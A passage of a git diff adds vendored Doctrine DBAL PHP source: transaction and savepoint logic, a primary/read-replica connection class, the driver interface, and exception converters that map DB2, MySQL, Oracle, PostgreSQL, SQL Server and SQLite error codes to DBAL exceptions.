function to execute transactionally. + * + * @return T The value returned by $func + * + * @throws Throwable + * + * @template T + */ + public function transactional(Closure $func) + { + $this->beginTransaction(); + try { + $res = $func($this); + $this->commit(); + + return $res; + } catch (Throwable $e) { + $this->rollBack(); + + throw $e; + } + } + + /** + * Sets if nested transactions should use savepoints. + * + * @param bool $nestTransactionsWithSavepoints + * + * @return void + * + * @throws Exception + */ + public function setNestTransactionsWithSavepoints($nestTransactionsWithSavepoints) + { + if (! $nestTransactionsWithSavepoints) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5383', + <<<'DEPRECATION' + Nesting transactions without enabling savepoints is deprecated. + Call %s::setNestTransactionsWithSavepoints(true) to enable savepoints. + DEPRECATION, + self::class, + ); + } + + if ($this->transactionNestingLevel > 0) { + throw ConnectionException::mayNotAlterNestedTransactionWithSavepointsInTransaction(); + } + + if (! $this->getDatabasePlatform()->supportsSavepoints()) { + throw ConnectionException::savepointsNotSupported(); + } + + $this->nestTransactionsWithSavepoints = (bool) $nestTransactionsWithSavepoints; + } + + /** + * Gets if nested transactions should use savepoints. + * + * @return bool + */ + public function getNestTransactionsWithSavepoints() + { + return $this->nestTransactionsWithSavepoints; + } + + /** + * Returns the savepoint name to use for nested transactions. + * + * @return string + */ + protected function _getNestedTransactionSavePointName() + { + return 'DOCTRINE2_SAVEPOINT_' . $this->transactionNestingLevel; + } + + /** + * @return bool + * + * @throws Exception + */ + public function beginTransaction() + { + $connection = $this->getWrappedConnection(); + + ++$this->transactionNestingLevel; + + $logger = $this->_config->getSQLLogger(); + + if ($this->transactionNestingLevel === 1) { + if ($logger !== null) { + $logger->startQuery('"START TRANSACTION"'); + } + + $connection->beginTransaction(); + + if ($logger !== null) { + $logger->stopQuery(); + } + } elseif ($this->nestTransactionsWithSavepoints) { + if ($logger !== null) { + $logger->startQuery('"SAVEPOINT"'); + } + + $this->createSavepoint($this->_getNestedTransactionSavePointName()); + if ($logger !== null) { + $logger->stopQuery(); + } + } else { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5383', + <<<'DEPRECATION' + Nesting transactions without enabling savepoints is deprecated. + Call %s::setNestTransactionsWithSavepoints(true) to enable savepoints. + DEPRECATION, + self::class, + ); + } + + $eventManager = $this->getEventManager(); + + if ($eventManager->hasListeners(Events::onTransactionBegin)) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/5784', + 'Subscribing to %s events is deprecated.', + Events::onTransactionBegin, + ); + + $eventManager->dispatchEvent(Events::onTransactionBegin, new TransactionBeginEventArgs($this)); + } + + return true; + } + + /** + * @return bool + * + * @throws Exception + */ + public function commit() + { + if ($this->transactionNestingLevel === 0) { + throw ConnectionException::noActiveTransaction(); + } + + if ($this->isRollbackOnly) { + throw ConnectionException::commitFailedRollbackOnly(); + } + + $result = true; + + $connection = $this->getWrappedConnection(); + + if ($this->transactionNestingLevel === 1) { + $result = $this->doCommit($connection); + } elseif ($this->nestTransactionsWithSavepoints) { + $this->releaseSavepoint($this->_getNestedTransactionSavePointName()); + } + + --$this->transactionNestingLevel; + + $eventManager = $this->getEventManager(); + + if ($eventManager->hasListeners(Events::onTransactionCommit)) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/5784', + 'Subscribing to %s events is deprecated.', + Events::onTransactionCommit, + ); + + $eventManager->dispatchEvent(Events::onTransactionCommit, new TransactionCommitEventArgs($this)); + } + + if ($this->autoCommit !== false || $this->transactionNestingLevel !== 0) { + return $result; + } + + $this->beginTransaction(); + + return $result; + } + + /** + * @return bool + * + * @throws DriverException + */ + private function doCommit(DriverConnection $connection) + { + $logger = $this->_config->getSQLLogger(); + + if ($logger !== null) { + $logger->startQuery('"COMMIT"'); + } + + $result = $connection->commit(); + + if ($logger !== null) { + $logger->stopQuery(); + } + + return $result; + } + + /** + * Commits all current nesting transactions. + * + * @throws Exception + */ + private function commitAll(): void + { + while ($this->transactionNestingLevel !== 0) { + if ($this->autoCommit === false && $this->transactionNestingLevel === 1) { + // When in no auto-commit mode, the last nesting commit immediately starts a new transaction. + // Therefore we need to do the final commit here and then leave to avoid an infinite loop. + $this->commit(); + + return; + } + + $this->commit(); + } + } + + /** + * Cancels any database changes done during the current transaction. + * + * @return bool + * + * @throws Exception + */ + public function rollBack() + { + if ($this->transactionNestingLevel === 0) { + throw ConnectionException::noActiveTransaction(); + } + + $connection = $this->getWrappedConnection(); + + $logger = $this->_config->getSQLLogger(); + + if ($this->transactionNestingLevel === 1) { + if ($logger !== null) { + $logger->startQuery('"ROLLBACK"'); + } + + $this->transactionNestingLevel = 0; + $connection->rollBack(); + $this->isRollbackOnly = false; + if ($logger !== null) { + $logger->stopQuery(); + } + + if ($this->autoCommit === false) { + $this->beginTransaction(); + } + } elseif ($this->nestTransactionsWithSavepoints) { + if ($logger !== null) { + $logger->startQuery('"ROLLBACK TO SAVEPOINT"'); + } + + $this->rollbackSavepoint($this->_getNestedTransactionSavePointName()); + --$this->transactionNestingLevel; + if ($logger !== null) { + $logger->stopQuery(); + } + } else { + $this->isRollbackOnly = true; + --$this->transactionNestingLevel; + } + + $eventManager = $this->getEventManager(); + + if ($eventManager->hasListeners(Events::onTransactionRollBack)) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/5784', + 'Subscribing to %s events is deprecated.', + Events::onTransactionRollBack, + ); + + $eventManager->dispatchEvent(Events::onTransactionRollBack, new TransactionRollBackEventArgs($this)); + } + + return true; + } + + /** + * Creates a new savepoint. + * + * @param string $savepoint The name of the savepoint to create. + * + * @return void + * + * @throws Exception + */ + public function createSavepoint($savepoint) + { + $platform = $this->getDatabasePlatform(); + + if (! $platform->supportsSavepoints()) { + throw ConnectionException::savepointsNotSupported(); + } + + $this->executeStatement($platform->createSavePoint($savepoint)); + } + + /** + * Releases the given savepoint. + * + * @param string $savepoint The name of the savepoint to release. + * + * @return void + * + * @throws Exception + */ + public function releaseSavepoint($savepoint) + { + $logger = $this->_config->getSQLLogger(); + + $platform = $this->getDatabasePlatform(); + + if (! $platform->supportsSavepoints()) { + throw ConnectionException::savepointsNotSupported(); + } + + if (! $platform->supportsReleaseSavepoints()) { + if ($logger !== null) { + $logger->stopQuery(); + } + + return; + } + + if ($logger !== null) { + $logger->startQuery('"RELEASE SAVEPOINT"'); + } + + $this->executeStatement($platform->releaseSavePoint($savepoint)); + + if ($logger === null) { + return; + } + + $logger->stopQuery(); + } + + /** + * Rolls back to the given savepoint. + * + * @param string $savepoint The name of the savepoint to rollback to. + * + * @return void + * + * @throws Exception + */ + public function rollbackSavepoint($savepoint) + { + $platform = $this->getDatabasePlatform(); + + if (! $platform->supportsSavepoints()) { + throw ConnectionException::savepointsNotSupported(); + } + + $this->executeStatement($platform->rollbackSavePoint($savepoint)); + } + + /** + * Gets the wrapped driver connection. + * + * @deprecated Use {@link getNativeConnection()} to access the native connection. + * + * @return DriverConnection + * + * @throws Exception + */ + public function getWrappedConnection() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4966', + 'Connection::getWrappedConnection() is deprecated.' + . ' Use Connection::getNativeConnection() to access the native connection.', + ); + + $this->connect(); + + return $this->_conn; + } + + /** @return resource|object */ + public function getNativeConnection() + { + $this->connect(); + + if (! method_exists($this->_conn, 'getNativeConnection')) { + throw new LogicException(sprintf( + 'The driver connection %s does not support accessing the native connection.', + get_class($this->_conn), + )); + } + + return $this->_conn->getNativeConnection(); + } + + /** + * Creates a SchemaManager that can be used to inspect or change the + * database schema through the connection. + * + * @throws Exception + */ + public function createSchemaManager(): AbstractSchemaManager + { + return $this->schemaManagerFactory->createSchemaManager($this); + } + + /** + * Gets the SchemaManager that can be used to inspect or change the + * database schema through the connection. + * + * @deprecated Use {@see createSchemaManager()} instead. + * + * @return AbstractSchemaManager + * + * @throws Exception + */ + public function getSchemaManager() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4515', + 'Connection::getSchemaManager() is deprecated, use Connection::createSchemaManager() instead.', + ); + + return $this->_schemaManager ??= $this->createSchemaManager(); + } + + /** + * Marks the current transaction so that the only possible + * outcome for the transaction to be rolled back. + * + * @return void + * + * @throws ConnectionException If no transaction is active. + */ + public function setRollbackOnly() + { + if ($this->transactionNestingLevel === 0) { + throw ConnectionException::noActiveTransaction(); + } + + $this->isRollbackOnly = true; + } + + /** + * Checks whether the current transaction is marked for rollback only. + * + * @return bool + * + * @throws ConnectionException If no transaction is active. + */ + public function isRollbackOnly() + { + if ($this->transactionNestingLevel === 0) { + throw ConnectionException::noActiveTransaction(); + } + + return $this->isRollbackOnly; + } + + /** + * Converts a given value to its database representation according to the conversion + * rules of a specific DBAL mapping type. + * + * @param mixed $value The value to convert. + * @param string $type The name of the DBAL mapping type. + * + * @return mixed The converted value. + * + * @throws Exception + */ + public function convertToDatabaseValue($value, $type) + { + return Type::getType($type)->convertToDatabaseValue($value, $this->getDatabasePlatform()); + } + + /** + * Converts a given value to its PHP representation according to the conversion + * rules of a specific DBAL mapping type. + * + * @param mixed $value The value to convert. + * @param string $type The name of the DBAL mapping type. + * + * @return mixed The converted type. + * + * @throws Exception + */ + public function convertToPHPValue($value, $type) + { + return Type::getType($type)->convertToPHPValue($value, $this->getDatabasePlatform()); + } + + /** + * Binds a set of parameters, some or all of which are typed with a PDO binding type + * or DBAL mapping type, to a given statement. + * + * @param DriverStatement $stmt Prepared statement + * @param list|array $params Statement parameters + * @param array|array $types Parameter types + * + * @throws Exception + */ + private function bindParameters(DriverStatement $stmt, array $params, array $types): void + { + // Check whether parameters are positional or named. Mixing is not allowed. + if (is_int(key($params))) { + $bindIndex = 1; + + foreach ($params as $key => $value) { + if (isset($types[$key])) { + $type = $types[$key]; + [$value, $bindingType] = $this->getBindingInfo($value, $type); + } else { + if (array_key_exists($key, $types)) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5550', + 'Using NULL as prepared statement parameter type is deprecated.' + . 'Omit or use Parameter::STRING instead', + ); + } + + $bindingType = ParameterType::STRING; + } + + $stmt->bindValue($bindIndex, $value, $bindingType); + + ++$bindIndex; + } + } else { + // Named parameters + foreach ($params as $name => $value) { + if (isset($types[$name])) { + $type = $types[$name]; + [$value, $bindingType] = $this->getBindingInfo($value, $type); + } else { + if (array_key_exists($name, $types)) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5550', + 'Using NULL as prepared statement parameter type is deprecated.' + . 'Omit or use Parameter::STRING instead', + ); + } + + $bindingType = ParameterType::STRING; + } + + $stmt->bindValue($name, $value, $bindingType); + } + } + } + + /** + * Gets the binding type of a given type. + * + * @param mixed $value The value to bind. + * @param int|string|Type|null $type The type to bind (PDO or DBAL). + * + * @return array{mixed, int} [0] => the (escaped) value, [1] => the binding type. + * + * @throws Exception + */ + private function getBindingInfo($value, $type): array + { + if (is_string($type)) { + $type = Type::getType($type); + } + + if ($type instanceof Type) { + $value = $type->convertToDatabaseValue($value, $this->getDatabasePlatform()); + $bindingType = $type->getBindingType(); + } else { + $bindingType = $type ?? ParameterType::STRING; + } + + return [$value, $bindingType]; + } + + /** + * Creates a new instance of a SQL query builder. + * + * @return QueryBuilder + */ + public function createQueryBuilder() + { + return new Query\QueryBuilder($this); + } + + /** + * @internal + * + * @param list|array $params + * @param array|array $types + */ + final public function convertExceptionDuringQuery( + Driver\Exception $e, + string $sql, + array $params = [], + array $types = [] + ): DriverException { + return $this->handleDriverException($e, new Query($sql, $params, $types)); + } + + /** @internal */ + final public function convertException(Driver\Exception $e): DriverException + { + return $this->handleDriverException($e, null); + } + + /** + * @param array|array $params + * @param array|array $types + * + * @return array{string, list, array} + */ + private function expandArrayParameters(string $sql, array $params, array $types): array + { + $this->parser ??= $this->getDatabasePlatform()->createSQLParser(); + $visitor = new ExpandArrayParameters($params, $types); + + $this->parser->parse($sql, $visitor); + + return [ + $visitor->getSQL(), + $visitor->getParameters(), + $visitor->getTypes(), + ]; + } + + /** + * @param array|array $params + * @param array|array $types + */ + private function needsArrayParameterConversion(array $params, array $types): bool + { + if (is_string(key($params))) { + return true; + } + + foreach ($types as $type) { + if ( + $type === ArrayParameterType::INTEGER + || $type === ArrayParameterType::STRING + || $type === ArrayParameterType::ASCII + || $type === ArrayParameterType::BINARY + ) { + return true; + } + } + + return false; + } + + private function handleDriverException( + Driver\Exception $driverException, + ?Query $query + ): DriverException { + $this->exceptionConverter ??= $this->_driver->getExceptionConverter(); + $exception = $this->exceptionConverter->convert($driverException, $query); + + if ($exception instanceof ConnectionLost) { + $this->close(); + } + + return $exception; + } + + /** + * BC layer for a wide-spread use-case of old DBAL APIs + * + * @deprecated Use {@see executeStatement()} instead + * + * @param array $params The query parameters + * @param array $types The parameter types + */ + public function executeUpdate(string $sql, array $params = [], array $types = []): int + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4163', + '%s is deprecated, please use executeStatement() instead.', + __METHOD__, + ); + + return $this->executeStatement($sql, $params, $types); + } + + /** + * BC layer for a wide-spread use-case of old DBAL APIs + * + * @deprecated Use {@see executeQuery()} instead + */ + public function query(string $sql): Result + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4163', + '%s is deprecated, please use executeQuery() instead.', + __METHOD__, + ); + + return $this->executeQuery($sql); + } + + /** + * BC layer for a wide-spread use-case of old DBAL APIs + * + * @deprecated please use {@see executeStatement()} instead + */ + public function exec(string $sql): int + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4163', + '%s is deprecated, please use executeStatement() instead.', + __METHOD__, + ); + + return $this->executeStatement($sql); + } +} diff --git a/vendor/doctrine/dbal/src/ConnectionException.php b/vendor/doctrine/dbal/src/ConnectionException.php new file mode 100644 index 000000000..f1e18987b --- /dev/null +++ b/vendor/doctrine/dbal/src/ConnectionException.php @@ -0,0 +1,31 @@ +executeQuery("DELETE FROM table"); + * + * Be aware that Connection#executeQuery is a method specifically for READ + * operations only. + * + * Use Connection#executeStatement for any SQL statement that changes/updates + * state in the database (UPDATE, INSERT, DELETE or DDL statements). + * + * This connection is limited to replica operations using the + * Connection#executeQuery operation only, because it wouldn't be compatible + * with the ORM or SchemaManager code otherwise. Both use all the other + * operations in a context where writes could happen to a replica, which makes + * this restricted approach necessary. + * + * You can manually connect to the primary at any time by calling: + * + * $conn->ensureConnectedToPrimary(); + * + * Instantiation through the DriverManager looks like: + * + * @psalm-import-type Params from DriverManager + * @example + * + * $conn = DriverManager::getConnection(array( + * 'wrapperClass' => 'Doctrine\DBAL\Connections\PrimaryReadReplicaConnection', + * 'driver' => 'pdo_mysql', + * 'primary' => array('user' => '', 'password' => '', 'host' => '', 'dbname' => ''), + * 'replica' => array( + * array('user' => 'replica1', 'password', 'host' => '', 'dbname' => ''), + * array('user' => 'replica2', 'password', 'host' => '', 'dbname' => ''), + * ) + * )); + * + * You can also pass 'driverOptions' and any other documented option to each of this drivers + * to pass additional information. + */ +class PrimaryReadReplicaConnection extends Connection +{ + /** + * Primary and Replica connection (one of the randomly picked replicas). + * + * @var DriverConnection[]|null[] + */ + protected $connections = ['primary' => null, 'replica' => null]; + + /** + * You can keep the replica connection and then switch back to it + * during the request if you know what you are doing. + * + * @var bool + */ + protected $keepReplica = false; + + /** + * Creates Primary Replica Connection. + * + * @internal The connection can be only instantiated by the driver manager. + * + * @param array $params + * @psalm-param Params $params + * + * @throws Exception + * @throws InvalidArgumentException + */ + public function __construct( + array $params, + Driver $driver, + ?Configuration $config = null, + ?EventManager $eventManager = null + ) { + if (! isset($params['replica'], $params['primary'])) { + throw new InvalidArgumentException('primary or replica configuration missing'); + } + + if (count($params['replica']) === 0) { + throw new InvalidArgumentException('You have to configure at least one replica.'); + } + + if (isset($params['driver'])) { + $params['primary']['driver'] = $params['driver']; + + foreach ($params['replica'] as $replicaKey => $replica) { + $params['replica'][$replicaKey]['driver'] = $params['driver']; + } + } + + $this->keepReplica = (bool) ($params['keepReplica'] ?? false); + + parent::__construct($params, $driver, $config, $eventManager); + } + + /** + * Checks if the connection is currently towards the primary or not. + */ + public function isConnectedToPrimary(): bool + { + return $this->_conn !== null && $this->_conn === $this->connections['primary']; + } + + /** + * @param string|null $connectionName + * + * @return bool + */ + public function connect($connectionName = null) + { + if ($connectionName !== null) { + throw new InvalidArgumentException( + 'Passing a connection name as first argument is not supported anymore.' + . ' Use ensureConnectedToPrimary()/ensureConnectedToReplica() instead.', + ); + } + + return $this->performConnect(); + } + + protected function performConnect(?string $connectionName = null): bool + { + $requestedConnectionChange = ($connectionName !== null); + $connectionName = $connectionName ?? 'replica'; + + if ($connectionName !== 'replica' && $connectionName !== 'primary') { + throw new InvalidArgumentException('Invalid option to connect(), only primary or replica allowed.'); + } + + // If we have a connection open, and this is not an explicit connection + // change request, then abort right here, because we are already done. + // This prevents writes to the replica in case of "keepReplica" option enabled. + if ($this->_conn !== null && ! $requestedConnectionChange) { + return false; + } + + $forcePrimaryAsReplica = false; + + if ($this->getTransactionNestingLevel() > 0) { + $connectionName = 'primary'; + $forcePrimaryAsReplica = true; + } + + if (isset($this->connections[$connectionName])) { + $this->_conn = $this->connections[$connectionName]; + + if ($forcePrimaryAsReplica && ! $this->keepReplica) { + $this->connections['replica'] = $this->_conn; + } + + return false; + } + + if ($connectionName === 'primary') { + $this->connections['primary'] = $this->_conn = $this->connectTo($connectionName); + + // Set replica connection to primary to avoid invalid reads + if (! $this->keepReplica) { + $this->connections['replica'] = $this->connections['primary']; + } + } else { + $this->connections['replica'] = $this->_conn = $this->connectTo($connectionName); + } + + if ($this->_eventManager->hasListeners(Events::postConnect)) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/5784', + 'Subscribing to %s events is deprecated. Implement a middleware instead.', + Events::postConnect, + ); + + $eventArgs = new ConnectionEventArgs($this); + $this->_eventManager->dispatchEvent(Events::postConnect, $eventArgs); + } + + return true; + } + + /** + * Connects to the primary node of the database cluster. + * + * All following statements after this will be executed against the primary node. + */ + public function ensureConnectedToPrimary(): bool + { + return $this->performConnect('primary'); + } + + /** + * Connects to a replica node of the database cluster. + * + * All following statements after this will be executed against the replica node, + * unless the keepReplica option is set to false and a primary connection + * was already opened. + */ + public function ensureConnectedToReplica(): bool + { + return $this->performConnect('replica'); + } + + /** + * Connects to a specific connection. + * + * @param string $connectionName + * + * @return DriverConnection + * + * @throws Exception + */ + protected function connectTo($connectionName) + { + $params = $this->getParams(); + + $connectionParams = $this->chooseConnectionConfiguration($connectionName, $params); + + try { + return $this->_driver->connect($connectionParams); + } catch (DriverException $e) { + throw $this->convertException($e); + } + } + + /** + * @param string $connectionName + * @param mixed[] $params + * + * @return mixed + */ + protected function chooseConnectionConfiguration( + $connectionName, + #[SensitiveParameter] + $params + ) { + if ($connectionName === 'primary') { + return $params['primary']; + } + + $config = $params['replica'][array_rand($params['replica'])]; + + if (! isset($config['charset']) && isset($params['primary']['charset'])) { + $config['charset'] = $params['primary']['charset']; + } + + return $config; + } + + /** + * {@inheritDoc} + */ + public function executeStatement($sql, array $params = [], array $types = []) + { + $this->ensureConnectedToPrimary(); + + return parent::executeStatement($sql, $params, $types); + } + + /** + * {@inheritDoc} + */ + public function beginTransaction() + { + $this->ensureConnectedToPrimary(); + + return parent::beginTransaction(); + } + + /** + * {@inheritDoc} + */ + public function commit() + { + $this->ensureConnectedToPrimary(); + + return parent::commit(); + } + + /** + * {@inheritDoc} + */ + public function rollBack() + { + $this->ensureConnectedToPrimary(); + + return parent::rollBack(); + } + + /** + * {@inheritDoc} + */ + public function close() + { + unset($this->connections['primary'], $this->connections['replica']); + + parent::close(); + + $this->_conn = null; + $this->connections = ['primary' => null, 'replica' => null]; + } + + /** + * {@inheritDoc} + */ + public function createSavepoint($savepoint) + { + $this->ensureConnectedToPrimary(); + + parent::createSavepoint($savepoint); + } + + /** + * {@inheritDoc} + */ + public function releaseSavepoint($savepoint) + { + $this->ensureConnectedToPrimary(); + + parent::releaseSavepoint($savepoint); + } + + /** + * {@inheritDoc} + */ + public function rollbackSavepoint($savepoint) + { + $this->ensureConnectedToPrimary(); + + parent::rollbackSavepoint($savepoint); + } + + public function prepare(string $sql): Statement + { + $this->ensureConnectedToPrimary(); + + return parent::prepare($sql); + } +} diff --git a/vendor/doctrine/dbal/src/Driver.php b/vendor/doctrine/dbal/src/Driver.php new file mode 100644 index 000000000..46e422ba9 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver.php @@ -0,0 +1,57 @@ + $params All connection parameters. + * @psalm-param Params $params All connection parameters. + * + * @return DriverConnection The database connection. + * + * @throws Exception + */ + public function connect( + #[SensitiveParameter] + array $params + ); + + /** + * Gets the DatabasePlatform instance that provides all the metadata about + * the platform this driver connects to. + * + * @return AbstractPlatform The database platform. + */ + public function getDatabasePlatform(); + + /** + * Gets the SchemaManager that can be used to inspect and change the underlying + * database schema of the platform this driver connects to. + * + * @deprecated Use {@link AbstractPlatform::createSchemaManager()} instead. + * + * @return AbstractSchemaManager + */ + public function getSchemaManager(Connection $conn, AbstractPlatform $platform); + + /** + * Gets the ExceptionConverter that can be used to convert driver-level exceptions into DBAL exceptions. + */ + public function getExceptionConverter(): ExceptionConverter; +} diff --git a/vendor/doctrine/dbal/src/Driver/API/ExceptionConverter.php b/vendor/doctrine/dbal/src/Driver/API/ExceptionConverter.php new file mode 100644 index 000000000..a7bf27139 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/API/ExceptionConverter.php @@ -0,0 +1,25 @@ +getCode()) { + case -104: + return new SyntaxErrorException($exception, $query); + + case -203: + return new NonUniqueFieldNameException($exception, $query); + + case -204: + return new TableNotFoundException($exception, $query); + + case -206: + return new InvalidFieldNameException($exception, $query); + + case -407: + return new NotNullConstraintViolationException($exception, $query); + + case -530: + case -531: + case -532: + case -20356: + return new ForeignKeyConstraintViolationException($exception, $query); + + case -601: + return new TableExistsException($exception, $query); + + case -803: + return new UniqueConstraintViolationException($exception, $query); + + case -1336: + case -30082: + return new ConnectionException($exception, $query); + } + + return new DriverException($exception, $query); + } +} diff --git a/vendor/doctrine/dbal/src/Driver/API/MySQL/ExceptionConverter.php b/vendor/doctrine/dbal/src/Driver/API/MySQL/ExceptionConverter.php new file mode 100644 index 000000000..87d50aff9 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/API/MySQL/ExceptionConverter.php @@ -0,0 +1,119 @@ +getCode()) { + case 1008: + return new DatabaseDoesNotExist($exception, $query); + + case 1213: + return new DeadlockException($exception, $query); + + case 1205: + return new LockWaitTimeoutException($exception, $query); + + case 1050: + return new TableExistsException($exception, $query); + + case 1051: + case 1146: + return new TableNotFoundException($exception, $query); + + case 1216: + case 1217: + case 1451: + case 1452: + case 1701: + return new ForeignKeyConstraintViolationException($exception, $query); + + case 1062: + case 1557: + case 1569: + case 1586: + return new UniqueConstraintViolationException($exception, $query); + + case 1054: + case 1166: + case 1611: + return new InvalidFieldNameException($exception, $query); + + case 1052: + case 1060: + case 1110: + return new NonUniqueFieldNameException($exception, $query); + + case 1064: + case 1149: + case 1287: + case 1341: + case 1342: + case 1343: + case 1344: + case 1382: + case 1479: + case 1541: + case 1554: + case 1626: + return new SyntaxErrorException($exception, $query); + + case 1044: + case 1045: + case 1046: + case 1049: + case 1095: + case 1142: + case 1143: + case 1227: + case 1370: + case 1429: + case 2002: + case 2005: + case 2054: + return new ConnectionException($exception, $query); + + case 2006: + return new ConnectionLost($exception, $query); + + case 1048: + case 1121: + case 1138: + case 1171: + case 1252: + case 1263: + case 1364: + case 1566: + return new NotNullConstraintViolationException($exception, $query); + } + + return new DriverException($exception, $query); + } +} diff --git a/vendor/doctrine/dbal/src/Driver/API/OCI/ExceptionConverter.php b/vendor/doctrine/dbal/src/Driver/API/OCI/ExceptionConverter.php new file mode 100644 index 000000000..4703a57d5 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/API/OCI/ExceptionConverter.php @@ -0,0 +1,74 @@ +getCode()) { + case 1: + case 2299: + case 38911: + return new UniqueConstraintViolationException($exception, $query); + + case 904: + return new InvalidFieldNameException($exception, $query); + + case 918: + case 960: + return new NonUniqueFieldNameException($exception, $query); + + case 923: + return new SyntaxErrorException($exception, $query); + + case 942: + return new TableNotFoundException($exception, $query); + + case 955: + return new TableExistsException($exception, $query); + + case 1017: + case 12545: + return new ConnectionException($exception, $query); + + case 1400: + return new NotNullConstraintViolationException($exception, $query); + + case 1918: + return new DatabaseDoesNotExist($exception, $query); + + case 2289: + case 2443: + case 4080: + return new DatabaseObjectNotFoundException($exception, $query); + + case 2266: + case 2291: + case 2292: + return new ForeignKeyConstraintViolationException($exception, $query); + } + + return new DriverException($exception, $query); + } +} diff --git a/vendor/doctrine/dbal/src/Driver/API/PostgreSQL/ExceptionConverter.php b/vendor/doctrine/dbal/src/Driver/API/PostgreSQL/ExceptionConverter.php new file mode 100644 index 000000000..2baca1ee2 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/API/PostgreSQL/ExceptionConverter.php @@ -0,0 +1,89 @@ +getSQLState()) { + case '40001': + case '40P01': + return new DeadlockException($exception, $query); + + case '0A000': + // Foreign key constraint violations during a TRUNCATE operation + // are considered "feature not supported" in PostgreSQL. + if (strpos($exception->getMessage(), 'truncate') !== false) { + return new ForeignKeyConstraintViolationException($exception, $query); + } + + break; + + case '23502': + return new NotNullConstraintViolationException($exception, $query); + + case '23503': + return new ForeignKeyConstraintViolationException($exception, $query); + + case '23505': + return new UniqueConstraintViolationException($exception, $query); + + case '3D000': + return new DatabaseDoesNotExist($exception, $query); + + case '3F000': + return new SchemaDoesNotExist($exception, $query); + + case '42601': + return new SyntaxErrorException($exception, $query); + + case '42702': + return new NonUniqueFieldNameException($exception, $query); + + case '42703': + return new InvalidFieldNameException($exception, $query); + + case '42P01': + return new TableNotFoundException($exception, $query); + + case '42P07': + return new TableExistsException($exception, $query); + + case '08006': + return new ConnectionException($exception, $query); + } + + // Prior to fixing https://bugs.php.net/bug.php?id=64705 (PHP 7.4.10), + // in some cases (mainly connection errors) the PDO exception wouldn't provide a SQLSTATE via its code. + // We have to match against the SQLSTATE in the error message in these cases. + if ($exception->getCode() === 7 && strpos($exception->getMessage(), 'SQLSTATE[08006]') !== false) { + return new ConnectionException($exception, $query); + } + + return new DriverException($exception, $query); + } +} diff --git a/vendor/doctrine/dbal/src/Driver/API/SQLSrv/ExceptionConverter.php b/vendor/doctrine/dbal/src/Driver/API/SQLSrv/ExceptionConverter.php new file mode 100644 index 000000000..d0e8e9f46 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/API/SQLSrv/ExceptionConverter.php @@ -0,0 +1,69 @@ +getCode()) { + case 102: + return new SyntaxErrorException($exception, $query); + + case 207: + return new InvalidFieldNameException($exception, $query); + + case 208: + return new TableNotFoundException($exception, $query); + + case 209: + return new NonUniqueFieldNameException($exception, $query); + + case 515: + return new NotNullConstraintViolationException($exception, $query); + + case 547: + case 4712: + return new ForeignKeyConstraintViolationException($exception, $query); + + case 2601: + case 2627: + return new UniqueConstraintViolationException($exception, $query); + + case 2714: + return new TableExistsException($exception, $query); + + case 3701: + case 15151: + return new DatabaseObjectNotFoundException($exception, $query); + + case 11001: + case 18456: + return new ConnectionException($exception, $query); + } + + return new DriverException($exception, $query); + } +} diff --git a/vendor/doctrine/dbal/src/Driver/API/SQLite/ExceptionConverter.php b/vendor/doctrine/dbal/src/Driver/API/SQLite/ExceptionConverter.php new file mode 100644 index 000000000..9e67155ad --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/API/SQLite/ExceptionConverter.php @@ -0,0 +1,85 @@ +getMessage(), 'database is locked') !== false) { + return new LockWaitTimeoutException($exception, $query); + } + + if ( + strpos($exception->getMessage(), 'must be unique') !== false || + strpos($exception->getMessage(), 'is not unique') !== false || + strpos($exception->getMessage(), 'are not unique') !== false || + strpos($exception->getMessage(), 'UNIQUE constraint failed') !== false + ) { + return new UniqueConstraintViolationException($exception, $query); + } + + if ( + strpos($exception->getMessage(), 'may not be NULL') !== false || + strpos($exception->getMessage(), 'NOT NULL constraint failed') !== false + ) { + return new NotNullConstraintViolationException($exception, $query); + } + + if (strpos($exception->getMessage(), 'no such table:') !== false) { + return new TableNotFoundException($exception, $query); + } + + if (strpos($exception->getMessage(), 'already exists') !== false) { + return new TableExistsException($exception, $query); + } + + if (strpos($exception->getMessage(), 'has no column named') !== false) { + return new InvalidFieldNameException($exception, $query); + } + + if (strpos($exception->getMessage(), 'ambiguous column name') !== false) { + return new NonUniqueFieldNameException($exception, $query); + } + + if (strpos($exception->getMessage(), 'syntax error') !== false) { + return new SyntaxErrorException($exception, $query); + } + + if (strpos($exception->getMessage(), 'attempt to write a readonly database') !== false) { + return new ReadOnlyException($exception, $query); + } + + if (strpos($exception->getMessage(), 'unable to open database file') !== false) { + return new ConnectionException($exception, $query); + } + + if (strpos($exception->getMessage(), 'FOREIGN KEY constraint failed') !== false) { + return new ForeignKeyConstraintViolationException($exception, $query); + } + + return new DriverException($exception, $query); + } +} diff --git a/vendor/doctrine/dbal/src/Driver/API/SQLite/UserDefinedFunctions.php b/vendor/doctrine/dbal/src/Driver/API/SQLite/UserDefinedFunctions.php new file mode 100644 index 000000000..3779c8bab --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/API/SQLite/UserDefinedFunctions.php @@ -0,0 +1,80 @@ + ['callback' => [SqlitePlatform::class, 'udfSqrt'], 'numArgs' => 1], + 'mod' => ['callback' => 